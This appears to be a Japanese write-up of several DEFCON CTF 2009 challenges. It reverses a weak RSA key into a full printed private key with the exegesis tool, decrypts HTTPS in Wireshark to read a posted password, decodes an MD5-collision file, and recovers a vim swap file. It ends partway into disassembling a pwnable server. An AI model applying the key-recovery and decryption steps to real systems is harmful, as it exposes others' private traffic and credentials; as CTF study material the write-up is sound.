00:cf:a2:db:24:a3:ec:ea:35:73:af:ce:d6:f3:0c: c7:39:2c:3e:62:62:eb:d7:d0:2b:e0:68:9b:9d:84: a0:ce:2e:08:60:ea:d4:a5:74:bd:5f:68:65:ab:5c: 9e:a1:b2:d8:8b:12:0a:54:76:23:fe:1f:4e:2a:70: f4:2b:1c:d3:4d:a7:de:a7:cc:cf:74:35:e6:70:85: 21:7f:7d:af:94:39:2e:57:3d:22:c0:96:54:40:b8: 72:30:7c:b6:52:6d:03:48:0a:58:35:70:97:8e:3a: 68:01:3e:d9:59:5a:a0:95:82:14:68:fb:d8:65:6d: 23:52:af:21:2d:30:9b:42:9e:0c:02:87:3a:fc:31: 29:d0:c4:a4:01:52:0f:6b:1d:2a:66:16:a8:14:d4: 5b:e3:a1:a7:ed:59:9f:2d:48:7e:40:08:f7:2b:28: f6:c7:52:2c:a2:14:a8:80:bb:45:09:b8:67:2d:eb: 8f:26:6a:67:1c:4f:78:b8:de:08:7a:86:b5:4e:05: 11:1b:2f:d5:e9:bb:dc:7e:03:ae:42:90:81:52:36: db:1d:f5:8d:1b:a5:b6:3d:07:bd:5e:7d:26:04:ea: bd:19:4d:74:da:2b:6f:37:49:f5:dd:66:4e:71:55: 66:37:21:1a:87:7f:fa:57:45:74:20:13:10:1d:ef: 37:55 Exponent: 35 (0x23) Signature Algorithm: sha1WithRSAEncryption 50:d9:49:39:83:19:a4:ef:3a:36:51:6e:ef:a8:cd:af:a2:f2: 64:a0:ea:71:a1:cf:67:c6:3b:88:04:5a:9b:f4:19:f9:8c:66: 18:e7:3a:94:d9:99:48:66:c0:05:86:c0:c4:0b:c5:a7:c8:9f: 86:04:ca:2a:47:09:b8:b3:d3:29:78:b1:0f:32:9c:99:6b:1e: 40:87:b6:53:24:15:54:70:e2:12:79:5c:0a:ed:89:6f:f0:e9: 51:6b:e9:2b:16:aa:d4:7f:86:b2:f1:98:f1:36:9a:9e:0c:88: 0c:00:fa:98:26:fd:63:29:a5:ee:2a:1d:d6:4d:22:a8:c6:46: 1f:31:c0:29:b7:aa:5b:bb:75:65:08:fc:63:63:82:67:c4:ea: 54:72:74:1f:f8:c2:8a:bc:a8:02:c0:6a:15:47:fc:ab:4a:e7: 5e:52:8e:ec:42:b3:56:4b:67:77:4e:4c:9a:83:3c:5e:51:87: a9:b1:8a:a4:c8:46:08:35:b0:72:8a:60:65:5c:59:30:71:0d: 95:91:3c:61:89:9d:cb:f0:c7:4e:97:97:6c:76:cd:47:cb:a2: 2c:16:61:a4:64:16:77:94:28:a2:80:ba:3a:90:4d:1a:b3:c0: 46:1e:7b:a5:f6:aa:30:ba:eb:f4:60:db:8d:18:5a:69:dc:c5: 09:e8:55:c4
"Exponent: 35 (0x23)"となっている。通常は65537などが使われる。脆弱?
公開鍵から秘密鍵を得るツール → http://github.com/brl/exegesis
$ ssh-keygen -t rsa -b 2048 Generating public/private rsa key pair. Enter file in which to save the key (/home/ubuntu/.ssh/id_rsa): A Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in A. Your public key has been saved in A.pub. The key fingerprint is: 69:a5:cb:53:3d:a8:66:ba:06:d3:98:b7:b0:4b:ef:78 ubuntu@ubuntu-vm
適当に対となるRSA鍵を作成
公開鍵は以下のようになる
$ cat A.pub ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt5wrLz6OCHLZA1uPBD9oYoXChv7cdjRuffh+6A5/6 J43kaDmwlZ25jrWWAWtl7U9KumiU1/hnjcjexokSdG/bv609sej40JiVKpRkC2Sl6XHi8uUg9LuVy yhBWxmTg2kRUH9hSa7s+00rLfJLF8L9I6xqv1sNsW0SL/EXT1kQCP+ImljRzJS9aqv3LABOKmR4+Z nd1jBR1cX6qTx0U89mrFno2VqMk2y4krrpPRqoRxR3ur8rusZ4iJ79UbKFmm5WhS+VpGSVqNicQsI h5HLmPG4zVm3vrkxO1ZEePQ/MPbacdvWxukFVRFLSJlHXdLt9erA4fwbt208dw65v1lJsQ== ubun tu@ubuntu-vm
Base64でデコードする
$ base64 -d > B AAAAB3NzaC1yc2EAAAABIwAAAQEAt5wrLz6OCHLZA1uPBD9oYoXChv7cdjRuffh+6A5/6J43kaDmwl Z25jrWWAWtl7U9KumiU1/hnjcjexokSdG/bv609sej40JiVKpRkC2Sl6XHi8uUg9LuVyyhBWxmTg2k RUH9hSa7s+00rLfJLF8L9I6xqv1sNsW0SL/EXT1kQCP+ImljRzJS9aqv3LABOKmR4+Znd1jBR1cX6q Tx0U89mrFno2VqMk2y4krrpPRqoRxR3ur8rusZ4iJ79UbKFmm5WhS+VpGSVqNicQsIh5HLmPG4zVm3 vrkxO1ZEePQ/MPbacdvWxukFVRFLSJlHXdLt9erA4fwbt208dw65v1lJsQ== (Ctrl+D) $ hexdump -C B 00000000 00 00 00 07 73 73 68 2d 72 73 61 00 00 00 01 23 |....ssh-rsa....#| 00000010 00 00 01 01 00 b7 9c 2b 2f 3e 8e 08 72 d9 03 5b |.......+/>..r..[| 00000020 8f 04 3f 68 62 85 c2 86 fe dc 76 34 6e 7d f8 7e |..?hb.....v4n}.~| 00000030 e8 0e 7f e8 9e 37 91 a0 e6 c2 56 76 e6 3a d6 58 |.....7....Vv.:.X| 00000040 05 ad 97 b5 3d 2a e9 a2 53 5f e1 9e 37 23 7b 1a |....=*..S_..7#{.| 00000050 24 49 d1 bf 6e fe b4 f6 c7 a3 e3 42 62 54 aa 51 |$I..n......BbT.Q| 00000060 90 2d 92 97 a5 c7 8b cb 94 83 d2 ee 57 2c a1 05 |.-..........W,..| 00000070 6c 66 4e 0d a4 45 41 fd 85 26 bb b3 ed 34 ac b7 |lfN..EA..&...4..| 00000080 c9 2c 5f 0b f4 8e b1 aa fd 6c 36 c5 b4 48 bf c4 |.,_......l6..H..| 00000090 5d 3d 64 40 23 fe 22 69 63 47 32 52 f5 aa af dc |]=d@#."icG2R....| 000000a0 b0 01 38 a9 91 e3 e6 67 77 58 c1 47 57 17 ea a4 |..8....gwX.GW...| 000000b0 f1 d1 4f 3d 9a b1 67 a3 65 6a 32 4d b2 e2 4a eb |..O=..g.ej2M..J.| 000000c0 a4 f4 6a a1 1c 51 de ea fc ae eb 19 e2 22 7b f5 |..j..Q......."{.| 000000d0 46 ca 16 69 b9 5a 14 be 56 91 92 56 a3 62 71 0b |F..i.Z..V..V.bq.| 000000e0 08 87 91 cb 98 f1 b8 cd 59 b7 be b9 31 3b 56 44 |........Y...1;VD| 000000f0 78 f4 3f 30 f6 da 71 db d6 c6 e9 05 55 11 4b 48 |x.?0..q.....U.KH| 00000100 99 47 5d d2 ed f5 ea c0 e1 fc 1b b7 6d 3c 77 0e |.G].........m<w.| 00000110 b9 bf 59 49 b1 |..YI.|
20バイト目以降(RSA公開鍵領域)を、cert.binの中にあるRSA公開鍵に置き換える
$ hexdump -C C 00000000 00 00 00 07 73 73 68 2d 72 73 61 00 00 00 01 23 |....ssh-rsa....#| 00000010 00 00 01 01 00 cf a2 db 24 a3 ec ea 35 73 af ce |........$...5s..| 00000020 d6 f3 0c c7 39 2c 3e 62 62 eb d7 d0 2b e0 68 9b |....9,>bb...+.h.| 00000030 9d 84 a0 ce 2e 08 60 ea d4 a5 74 bd 5f 68 65 ab |......`...t._he.| 00000040 5c 9e a1 b2 d8 8b 12 0a 54 76 23 fe 1f 4e 2a 70 |\.......Tv#..N*p| 00000050 f4 2b 1c d3 4d a7 de a7 cc cf 74 35 e6 70 85 21 |.+..M.....t5.p.!| 00000060 7f 7d af 94 39 2e 57 3d 22 c0 96 54 40 b8 72 30 |.}..9.W="[email protected]| 00000070 7c b6 52 6d 03 48 0a 58 35 70 97 8e 3a 68 01 3e ||.Rm.H.X5p..:h.>| 00000080 d9 59 5a a0 95 82 14 68 fb d8 65 6d 23 52 af 21 |.YZ....h..em#R.!| 00000090 2d 30 9b 42 9e 0c 02 87 3a fc 31 29 d0 c4 a4 01 |-0.B....:.1)....| 000000a0 52 0f 6b 1d 2a 66 16 a8 14 d4 5b e3 a1 a7 ed 59 |R.k.*f....[....Y| 000000b0 9f 2d 48 7e 40 08 f7 2b 28 f6 c7 52 2c a2 14 a8 |.-H~@..+(..R,...| 000000c0 80 bb 45 09 b8 67 2d eb 8f 26 6a 67 1c 4f 78 b8 |..E..g-..&jg.Ox.| 000000d0 de 08 7a 86 b5 4e 05 11 1b 2f d5 e9 bb dc 7e 03 |..z..N.../....~.| 000000e0 ae 42 90 81 52 36 db 1d f5 8d 1b a5 b6 3d 07 bd |.B..R6.......=..| 000000f0 5e 7d 26 04 ea bd 19 4d 74 da 2b 6f 37 49 f5 dd |^}&....Mt.+o7I..| 00000100 66 4e 71 55 66 37 21 1a 87 7f fa 57 45 74 20 13 |fNqUf7!....WEt .| 00000110 10 1d ef 37 55 |...7U|
$ echo 'ssh-rsa '`base64 -w 0 C`' ubuntu@ubuntu-vm' > D.pub $ cat D.pub ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAz6LbJKPs6jVzr87W8wzHOSw+YmLr19Ar4GibnYSgzi 4IYOrUpXS9X2hlq1yeobLYixIKVHYj/h9OKnD0KxzTTafep8zPdDXmcIUhf32vlDkuVz0iwJZUQLhy MHy2Um0DSApYNXCXjjpoAT7ZWVqglYIUaPvYZW0jUq8hLTCbQp4MAoc6/DEp0MSkAVIPax0qZhaoFN Rb46Gn7VmfLUh+QAj3Kyj2x1IsohSogLtFCbhnLeuPJmpnHE94uN4Ieoa1TgURGy/V6bvcfgOuQpCB UjbbHfWNG6W2PQe9Xn0mBOq9GU102itvN0n13WZOcVVmNyEah3/6V0V0IBMQHe83VQ== ubuntu@ub untu-vm
あとはexegesisに任せる(使い方はREADMEを参照)
$ ssh-keygen -l -f D.pub 2048 88:81:8d:ca:32:09:4e:87:2d:88:59:31:0b:45:74:b1 D.pub $ tar zxvf brl-exegesis-3b554ac.tar.gz $ cd brl-exegesis-3b554ac $ make $ ls COPYING README debian exegesis.c exegesis.o sshtool.c xcrypt Makefile README.Packaging exegesis exegesis.h keysets sshtool.h xssh $ cd .. $ grep 88:81:8d:ca brl-exegesis-3b554ac/keysets/* brl-exegesis-3b554ac/keysets/rsa_2048_32_le.out: 88:81:8d:ca:32:09:4e:87:2d:88:59:31:0b:45:74:b1 18342 rsa 2048 32 0 $ brl-exegesis-3b554ac/exegesis -t rsa -b 2048 -p 18342 -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAz6LbJKPs6jVzr87W8wzHOSw+YmLr19Ar4GibnYSgzi4IYOrU pXS9X2hlq1yeobLYixIKVHYj/h9OKnD0KxzTTafep8zPdDXmcIUhf32vlDkuVz0i wJZUQLhyMHy2Um0DSApYNXCXjjpoAT7ZWVqglYIUaPvYZW0jUq8hLTCbQp4MAoc6 /DEp0MSkAVIPax0qZhaoFNRb46Gn7VmfLUh+QAj3Kyj2x1IsohSogLtFCbhnLeuP JmpnHE94uN4Ieoa1TgURGy/V6bvcfgOuQpCBUjbbHfWNG6W2PQe9Xn0mBOq9GU10 2itvN0n13WZOcVVmNyEah3/6V0V0IBMQHe83VQIBIwKCAQAXutc3YzEE0uimYMgb xvIya3TYC04nSv2zPye6OwsQP8ZxeexqrkGHPyGP7VP1OQLOELC5MhK99PL9iUB5 9KpvRmKW1ZQNR/0ULHjbXtI801XA08l1GH6oT5gFiph+ctvNuAoUvGkXkaV8fDYY 1yhLmdZyZezYZD6NG1Q/rciZ5fiK/GMEg4IH067v99X5ww+QpnnQzzzUidLFcCEu WUpQqhb0ejkavRkRI3ZkF1kmiMU5x1nAnH8b7XmzLHlvjkRKQfe2DCLwMylUuEBq 0MKS7GyWrF+JzR4XiyFV4gyWzJkw/ZMh1tcATLOJGrwmn3CGdElCVKmR8XNlhxr4 vfmbAoGBAOyQAGkXiS8+P8iEXQE40fTIykNXS7dkvr9YG5YzVMCEzd+qP+Cm41Vg kl40mE8Tt2lv6/74z73eVpbUKMTKAo/vbfCvaPwjTW68F6GSSjANGRLlsovuDZJh glKhF36OaTSD6+uNy7HXj3XnKqnu2GzC+Goa1nzK88TqhUXKLhnnAoGBAOCyZm99 KUjOCKDJPH3o4G1rm7rac1A7LPRVqOakZnN5as6lu6J2eDvri/5gVqnk1EAEbz7Y QVEJmvkE8B0gZ0/U1ejy3KgQrsQcn9kJo6q/iRIR3r031VyNhAcN67lPA0wotsHk R+QdG10GkbYwieDbry9oRLHPUP19L55TQtVjAoGBAJt0ko40CbFUytQ5uXXU4b4d jDrhmCgPAQFlyPxNnhgcwc1+gb+DnLRyqVPZa2cqNrMAZ+IROA8Oc2puKWtgLZHJ OZ4qIGstJEF0SgsW/Y1Kb5ATSXHlk+PZrWl/zZxO9K17Q0MFaJlwZZafOUsZTGS6 oz5paGCioDDx4ozyk1LZAoGATQn3PCrplU30VGJAoDKWFuMQ0lmGnyo7THUj905P AwUOrUAjEyFNy2azp6wAdMN7+LEQMs3NQFsQj+RvlPUqvEj44idhmLVDO+yOk45G vjMKbJhpn/XiwKWMWjCol05KRf9Umj+jnqrkz2/3cao95rG4aAZ989INI7XkcMwW 6hMCgYEAk37dl9nIK+e75DU2QQufWrDDyeNMTwtcYB79qwgqTI1+RzaRjGTh3wOL 82aZX8XG6qbBuvbDRNRW95vRI6uzzTGuzSHuOUyE+W68ZGJsq3lP+V+5fHA068mq T0XTGVsSyzpoy1QHyVU4s9auVK/2o3hwuTcZ5eko8iIvyqquCQo= -----END RSA PRIVATE KEY----- $ brl-exegesis-3b554ac/exegesis -t rsa -b 2048 -p 18342 > pri.key
秘密鍵が出来たので、後はこれをWiresharkに読み込ませてHTTP通信を復元する
メニューの Edit -> Preferences -> Protocols -> SSL -> RSA key list を以下に変更
ssl.keys_list: 192.168.1.43,443,http,C:\Temp\pri.key
"C:\Temp\pri.key"はpri.keyのパス
これでHTTPS通信が復号される
中をのぞくとPOSTにてパスワードがサーバへ送られている
0000 50 4f 53 54 20 2f 6e 65 78 74 2e 68 74 6d 6c 20 POST /ne xt.html 0010 48 54 54 50 2f 31 2e 31 0d 0a 48 6f 73 74 3a 20 HTTP/1.1 ..Host: 0020 64 64 74 65 6b 0d 0a 55 73 65 72 2d 41 67 65 6e ddtek..U ser-Agen 0030 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 t: Mozil la/5.0 ( 0040 58 31 31 3b 20 55 3b 20 4c 69 6e 75 78 20 69 36 X11; U; Linux i6 0050 38 36 3b 20 65 6e 2d 55 53 3b 20 72 76 3a 31 2e 86; en-U S; rv:1. 0060 39 2e 30 2e 31 30 29 20 47 65 63 6b 6f 2f 32 30 9.0.10) Gecko/20 0070 30 39 30 34 32 35 31 33 20 55 62 75 6e 74 75 2f 09042513 Ubuntu/ 0080 38 2e 30 34 20 28 68 61 72 64 79 29 20 46 69 72 8.04 (ha rdy) Fir 0090 65 66 6f 78 2f 33 2e 30 2e 31 30 0d 0a 41 63 63 efox/3.0 .10..Acc 00a0 65 70 74 3a 20 74 65 78 74 2f 68 74 6d 6c 2c 61 ept: tex t/html,a 00b0 70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c pplicati on/xhtml 00c0 2b 78 6d 6c 2c 61 70 70 6c 69 63 61 74 69 6f 6e +xml,app lication 00d0 2f 78 6d 6c 3b 71 3d 30 2e 39 2c 2a 2f 2a 3b 71 /xml;q=0 .9,*/*;q 00e0 3d 30 2e 38 0d 0a 41 63 63 65 70 74 2d 4c 61 6e =0.8..Ac cept-Lan 00f0 67 75 61 67 65 3a 20 65 6e 2d 75 73 2c 65 6e 3b guage: e n-us,en; 0100 71 3d 30 2e 35 0d 0a 41 63 63 65 70 74 2d 45 6e q=0.5..A ccept-En 0110 63 6f 64 69 6e 67 3a 20 67 7a 69 70 2c 64 65 66 coding: gzip,def 0120 6c 61 74 65 0d 0a 41 63 63 65 70 74 2d 43 68 61 late..Ac cept-Cha 0130 72 73 65 74 3a 20 49 53 4f 2d 38 38 35 39 2d 31 rset: IS O-8859-1 0140 2c 75 74 66 2d 38 3b 71 3d 30 2e 37 2c 2a 3b 71 ,utf-8;q =0.7,*;q 0150 3d 30 2e 37 0d 0a 4b 65 65 70 2d 41 6c 69 76 65 =0.7..Ke ep-Alive 0160 3a 20 33 30 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f : 300..C onnectio 0170 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 52 n: keep- alive..R 0180 65 66 65 72 65 72 3a 20 68 74 74 70 73 3a 2f 2f eferer: https:// 0190 64 64 74 65 6b 2f 74 65 6d 70 2e 68 74 6d 6c 0d ddtek/te mp.html. 01a0 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 .Content -Type: a 01b0 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 pplicati on/x-www 01c0 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 -form-ur lencoded 01d0 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 ..Conten t-Length 01e0 3a 20 33 34 0d 0a 0d 0a 75 73 65 72 3d 64 64 74 : 34.... user=ddt 01f0 65 6b 26 70 61 73 73 77 6f 72 64 3d 30 39 38 37 ek&passw ord=0987 0200 50 4f 49 55 25 33 42 6c 6b 6a POIU%3Bl kj
password=0987POIU%3BlkjというデータがPOSTされている
よって"0987POIU%3Blkj"が答え
exegesisというツールを知っているかどうか?
それがトリビア的(Trivial)な問題だったということだろうか?
DEFCON CTF 2009 Forensics 300
One of these things is not like the other.
http://shallweplayaga.me/forensics/46646289fff26adc096853ae13b7eba6
まず何のファイルか確認
$ file 46646289fff26adc096853ae13b7eba6 46646289fff26adc096853ae13b7eba6: Zip archive data, at least v2.0 to extract
zipで圧縮されている
$ cp 46646289fff26adc096853ae13b7eba6 f300.zip $ unzip -d files/ f300.zip .... extracting: files/FF62671092430BA2AB745A16CB772C2B inflating: files/FFA04C787C95327E4923D6E314869FA0 inflating: files/FFBE6D27C1DA46C1298B65C99DED9904 inflating: files/FFC4DFE2B96C861792CC91A5EA34DD67 inflating: files/FFC4FBCCAF5151814D90F9807223D6BC inflating: files/FFC5D8E55B22651E7366913F4A1B1A60 inflating: files/FFCB10F3BF538BFA7289D77A0AD7F5DD inflating: files/FFCC1768827A22FA025466B529FBE657 inflating: files/FFCE78000EEC2F2BEDFFA98F7B22A5DB inflating: files/FFE3B13DD224E61DE592506EE07AB5DA inflating: files/FFE58ECC317B5D6661967A55C3C3F107 $ cd files
展開すると大量のファイルが展開される
ファイル名をよく見ると先頭が00〜FFまで揃っている
問題文は「他とは異なるひとつ」と言っているため何かの特徴を見つける
$ md5sum * > md5.txt $ sort md5.txt | uniq -Dw32 0df21559b5e24582cae15e39393c38f2 04CE923AE0A2D4E39B1C55108EC0DDF7 0df21559b5e24582cae15e39393c38f2 99893BF47A011AA674A0932E5B131E29 6caece4f4f1b20354a26f5b074be5108 EE5610E54A9D127F243B8C76DE334031 6caece4f4f1b20354a26f5b074be5108 F21D60B1FE9710677DD261B1BC7F2EB5 7f450b19ae60471a70b9e11c2c96590e 5239871972E224E3DA7F91FE0A5F1794 7f450b19ae60471a70b9e11c2c96590e E14115E1CF6ABB38E1273E512BEBFAA7 9d9e8dbae4b1929921bbc96085fe6307 4457ABF15FAB9698978B3A50600A8E6A 9d9e8dbae4b1929921bbc96085fe6307 D787C1B17F6CCBBE5E867A9FE161C50E d84f0fa3e7c497d270a3dd58cd7d4a0c 233C952E9628E8DA39AC33C136D54120 d84f0fa3e7c497d270a3dd58cd7d4a0c 62136B0178A54B6A6CBE04583B585C0B e38554402d7d73401291695a8f0ff529 57550E8A527E26A7EE44184D8279C3CA e38554402d7d73401291695a8f0ff529 C0D43D209C89AB0868E1C27229E94FB5 eca0636171cdb0d054cfa1e326dfdd50 00ADF16DBCDACEB251CAFAEC464E94F5 eca0636171cdb0d054cfa1e326dfdd50 F9AD23392E16573C408E5FD7560F84CD
同じmd5を持つファイルが7組だけ見つかる
この中で5239871972E224E3DA7F91FE0A5F1794とE14115E1CF6ABB38E1273E512BEBFAA7は
同じmd5を持つが異なるデータファイルである(衝突が起こっている)
$ diff 5239871972E224E3DA7F91FE0A5F1794 E14115E1CF6ABB38E1273E512BEBFAA7 バイナリー・ファイル 5239871972E224E3DA7F91FE0A5F1794 と E14115E1CF6ABB38E1273E512BEBFAA7 は違います $ hexdump -C 5239871972E224E3DA7F91FE0A5F1794 > A $ hexdump -C E14115E1CF6ABB38E1273E512BEBFAA7 > B $ diff A B 2,4c2,4 < 00000010 2f ca b5 87 12 46 7e ab 40 04 58 3e b8 fb 7f 89 |/[email protected]>....| < 00000020 55 ad 34 06 09 f4 b3 02 83 e4 88 83 25 71 41 5a |U.4.........%qAZ| < 00000030 08 51 25 e8 f7 cd c9 9f d9 1d bd f2 80 37 3c 5b |.Q%..........7<[| --- > 00000010 2f ca b5 07 12 46 7e ab 40 04 58 3e b8 fb 7f 89 |/[email protected]>....| > 00000020 55 ad 34 06 09 f4 b3 02 83 e4 88 83 25 f1 41 5a |U.4.........%.AZ| > 00000030 08 51 25 e8 f7 cd c9 9f d9 1d bd 72 80 37 3c 5b |.Q%........r.7<[| 6,8c6,8 < 00000050 dd 53 e2 b4 87 da 03 fd 02 39 63 06 d2 48 cd a0 |.S.......9c..H..| < 00000060 e9 9f 33 42 0f 57 7e e8 ce 54 b6 70 80 a8 0d 1e |..3B.W~..T.p....| < 00000070 c6 98 21 bc b6 a8 83 93 96 f9 65 2b 6f f7 2a 70 |..!.......e+o.*p| --- > 00000050 dd 53 e2 34 87 da 03 fd 02 39 63 06 d2 48 cd a0 |.S.4.....9c..H..| > 00000060 e9 9f 33 42 0f 57 7e e8 ce 54 b6 70 80 28 0d 1e |..3B.W~..T.p.(..| > 00000070 c6 98 21 bc b6 a8 83 93 96 f9 65 ab 6f f7 2a 70 |..!.......e.o.*p|
md5の強衝突性を突破している
http://www.win.tue.nl/hashclash/
同じmd5の異なるファイルを作成する際、Dan Kaminskyのstripwireを使ったと思われる
http://www.securityfocus.com/data/vulnerabilities/exploits/stripwire-1.1.tar.gz
$ sed -ie 's/eval/print/' stripwire.pl $ perl stripwire.pl -r E14115E1CF6ABB38E1273E512BEBFAA7 > dec1 $ perl stripwire.pl -r 5239871972E224E3DA7F91FE0A5F1794 > dec2 $ cat dec1 $ cat dec2 SFKtg9S9sWRvwwy3BXn11lXBRqP9QfNCanMiv9lYR9UMqEoZsPhiR662r 11YeU8vWoAimLgUPyXjNApBpiu4LCOBw6pvgYQGGKpZiCaq4sRHjLaoWF Ese2iP7vfvgeIDTHoGNYyYQwiYVLq6wxjJaTkvNKtHANIgBOXWXNO1kFD CcUYnL3eSvIsShsMbHRJ68xafUq0YxDjrIALyGkKYBjrp4dk67ZIaISYQ ....
stripwireは任意のファイルを元に、md5がぶつかる2つのファイルを生成する
今回作成されたファイルは
5239871972E224E3DA7F91FE0A5F1794 と E14115E1CF6ABB38E1273E512BEBFAA7
どちらかを再度stripwireにかければ、どちらか一方は復号され元ファイルに戻る
今回はdec2、つまり5239871972E224E3DA7F91FE0A5F1794が復号された
よって他のファイルとは違う暗号化されたファイル"5239871972E224E3DA7F91FE0A5F1794"が答え
DEFCON CTF 2009 Forensics 200
Provide the key in its original, unl33t form.
http://shallweplayaga.me/forensics/70b06421d874ba02b7b50f575759cff7
まず何のファイルか確認
$ file 70b06421d874ba02b7b50f575759cff7 70b06421d874ba02b7b50f575759cff7: gzip compressed data, from Unix, last modified: Wed Jun 3 03:19:02 2009
gzipで圧縮されている
$ tar xvf 70b06421d874ba02b7b50f575759cff7 key.doc ~426tmp.emf $ file * key.doc: Vim swap file, version 7.4 ~426tmp.emf: ASCII text
2つのファイルが展開される
key.docはvimのswapファイル、~426tmp.emfはテキストファイル
とりあえずswapファイルから元のファイルを復元
http://nanasi.jp/articles/howto/file/crash-recovery.html
元ファイルのファイル名は~426tmp.emfに書かれてある
$ cat ~426tmp.emf | more ... # File marks: '0 44 0 ~/findthekey # Jumplist (newest first): -' 44 0 ~/findthekey -' 2239 0 ~/findthekey -' 2234 0 ~/findthekey -' 1 0 ~/findthekey # History of marks within files (newest to oldest): > ~/findthekey " 44 0
元ファイル名がfindthekeyだったと仮定して
swapファイルから元ファイルを復元
$ cp key.doc findthekey.swp $ vi findthekey.swp b0VIM 7.4^@^@^@^@^P^@^@ai%J^E ^H^@nm^@^@hackerj^@^@^@^@^@^@^@^ @^@^@^@^@^@^@^@^@^@^@^@localhost.localdomain^@^@^@^@^@~hackerj /findthekey^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^ @^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^ ... ... ... ... :recover(":recover"と入力) スワップファイル "findthekey.swp" を使用中 "~hackerj/findthekey" [新規ディレクトリ] >>>>>>>>>>>>> E312: リカバリの最中にエラーが検出されました; ???で始まる行を参照してください 詳細は ":help E312" を参照してください >>>>>>>>>>>>> 続けるにはENTERを押すかコマンドを入力してください (Enterを入力) (0mp4r1n9 73h53 3><4mpl35 w17h 73h1r p4r45171( 94p (0un73rp4r75 1n (96) & (97), w3 533 |>47 73h 5y573m471( u53 0f (0mpl3>< 5ym80l5 i$ n3(3554ry 70 1mp053 4n 1n73rpr3741Ng 0n 4 p4r45171( 94p (0n57ru(1Ng. 17 4pp34r5 |>47 73h 4pp34r4n(3 0f p4r45171( 94p5 1n |>0m41n5 r3l471\/3ly 1n4((35518l3 70 0r|>1n4ry 3><7r4(1Ng |>035 n07 4ff3(7 73h 57ru(7ur3 0f 73h 5y573m 0f 8453 rul35 3><(lu51\/3 0f 73h l3><1(0n. 8y (0m81n1n9 4|>jun(1Ng5 & (3r741n |>3f0rm41Ng5, 73h 5p34k3r-h3rr'5 l1n9ui$71( 1n7u11Ng 5uff1(35 ..... ..... :w recover.txt(別名でファイルを保存)
次に~426tmp.emfを見るとコマンドライン入力履歴に置換した後がある
// ~426tmp.emf # Command Line History (newest to oldest): :wq :%s/thekey->//g :%s/15/i$/g :%s/710n/1Ng/g :%s/n00b/N1nj4/g :%s/455/A$$/g
recover.txt内で上記の逆の置換を行う
$ vi recover.txt (0mp4r1n9 73h53 3><4mpl35 w17h 73h1r p4r45171( 94p (0un73rp4r75 1n (96) & (97), w3 533 |>47 73h 5y573m471( u53 0f (0mpl3>< 5ym80l5 i$ n3(3554ry 70 1mp053 4n 1n73rpr3741Ng 0n 4 p4r45171( 94p (0n57ru(1Ng. 17 4pp34r5 |>47 73h 4pp34r4n(3 0f p4r45171( 94p5 1n |>0m41n5 r3l471\/3ly 1n4((35518l3 70 0r|>1n4ry 3><7r4(1Ng |>035 n07 4ff3(7 73h 57ru(7ur3 0f 73h 5y573m 0f 8453 rul35 3><(lu51\/3 0f 73h l3><1(0n. 8y (0m81n1n9 4|>jun(1Ng5 & (3r741n |>3f0rm41Ng5, 73h 5p34k3r-h3rr'5 l1n9ui$71( 1n7u11Ng 5uff1(35 ..... ..... :%s/i$/15/g (入力) :%s/1Ng/710n/g (入力) :%s/N1nj4/n00b/g(入力) :%s/A$$/455/g (入力)
置換完了!
さらに~426tmp.emfを見るとマークした履歴がある
// ~426tmp.emf # History of marks within files (newest to oldest): > ~/findthekey " 44 0 . 44 0 + 11 0 + 3 0 + 2 0 + 44 18
最後に44 - 18とあるので、44行目の18文字目と考えて
置換後のrecover.txtの44行目、18文字目を確認
$ cat -n recover.txt | more ... 43 n07 r34|>1ly 70l3r473 n035n|>i$71n(7n355 1n 73h 53n53 0f | 44 73h0ry. f0r 4ny 7r4n5f0rm4710n wh1(h i$ 5uff1(13n7ly |>1\/ 45 4ppl1(4710n 70 83 0f 4ny 1n73r357, 73h 73h0ry 0f 5yn74(71(
44行目の18文字目以降は"7r4n5f0rm4710n"となる
これを問題文にあるようにunl33tする(l33tをOFFにする)と
"Transformation"となり、これが答え
DEFCON CTF 2009 Pwtent 300
pwn23.ddtek.biz
http://shallweplayaga.me/pwnable/da6d6bf2e2058ec98f67bf6b0e608c79
まず何のファイルか確認
# file da6d6bf2e2058ec98f67bf6b0e608c79 da6d6bf2e2058ec98f67bf6b0e608c79: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), for FreeBSD 7.2, dynamically linked (uses shared libs), FreeBSD-style, not stripped
IDAProで開く
not strippedなので読みやすい
.text:08048C80 main proc near .text:08048C80 .text:08048C80 name = dword ptr -30h .text:08048C80 var_2C = dword ptr -2Ch .text:08048C80 arg_0 = byte ptr 4 .text:08048C80 .text:08048C80 lea ecx, [esp+arg_0] .text:08048C84 and esp, 0FFFFFFF0h .text:08048C87 push dword ptr [ecx-4] .text:08048C8A push ebp .text:08048C8B mov ebp, esp .text:08048C8D push ecx .text:08048C8E sub esp, 24h .text:08048C91 movzx eax, svc_port .text:08048C98 cwde .text:08048C99 mov [esp+30h+name], eax .text:08048C9C call init .text:08048CA1 mov [ebp-8], eax .text:08048CA4 mov [esp+30h+name], "pwn300" .text:08048CAB call drop_privs_user .text:08048CB0 mov [esp+30h+var_2C], offset client_callback .text:08048CB8 mov eax, [ebp-8] .text:08048CBB mov [esp+30h+name], eax .text:08048CBE call loop .text:08048CC3 mov eax, 0 .text:08048CC8 add esp, 24h .text:08048CCB pop ecx .text:08048CCC pop ebp .text:08048CCD lea esp, [ecx-4] .text:08048CD0 retn
これはサーバプログラム
svc_portが使用するポート→0E4Fh(3663)番
initはsocketからlistenまでを実行
drop_privs_userは実行ユーザーがpwn300かどうかを判別
loopはacceptとforkを実行し、forkされるのはclient_callback関数
よって実質的なサーバとしての処理はclient_callback
